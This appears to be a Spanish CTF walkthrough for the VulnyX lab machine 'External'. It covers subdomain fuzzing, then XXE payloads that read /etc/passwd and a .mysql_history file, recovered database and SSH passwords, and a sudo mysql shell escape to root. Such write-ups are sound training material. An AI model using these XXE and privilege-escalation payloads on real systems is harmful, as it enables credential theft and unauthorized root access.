Notas de Luis

Hacemos el reconocimiento con nmap:

Y en el puerto 80 vemos que no hay nada aparentemente:

Pero si vemos el código fuente nos encontramos con esto:

Añadimos el dominio en el /etc/host:

Y hacemos búsqueda de subdominios:

wfuzz -c -t 200 --hl 75 -w subdomains-top1million-110000.txt -H "Host: FUZZ.ext.nyx" http://ext.nyx

O con gobuster:

gobuster vhost -u http://ext.nyx -w subdomains-top1million-110000.txt | grep -v '400'

Y tenemos el subdominio administrator:

Lo añadimos al /etc/hosts y deberíamos poder acceder a él desde el navegador:

Ponemos unas credenciales aleatorias e interceptamos con burp suite la petición, donde vemos que poder estar ante un XML External Entity:

Le ponemos el siguiente payload basándonos en el que viene por defecto:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY prueba SYSTEM "file:///etc/passwd"> ]>
<details>
<email>
&prueba;
</email>
<password>1234</password>
</details>

Vemos que hay un usuario llamado mysql:

Por lo que podemos intentar apuntar contra el mysql.history:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY prueba SYSTEM "file:///home/admin/.mysql_history"> ]>
<details>
<email>
&prueba;
</email>
<password>1234</password>
</details>

Y tenemos las siguientes credenciales:

root:r00tt00rDB

Iniciamos sesión con estas credenciales y vemos que funciona bien:

Y vemos la contraseña del usuario admin:

admin:4dminDBS3cur3P4ssw0rd123

Y con esta contraseña entramos correctamente por ssh:

Y si ejecutamos el comando sudo -l vemos cómo podemos ejecutar como sudo mysql:

Buscamos en gtfobins como explotar esto y lo hacemos, pero nos pedirá que pongamos la contraseña de la base de datos nuevamente:

sudo /usr/bin/mysql -e '\! /bin/sh' -p
r00tt00rDB

computing/hacking/ctf/vulnyx/maquina_external.txt · Última modificación: por 127.0.0.1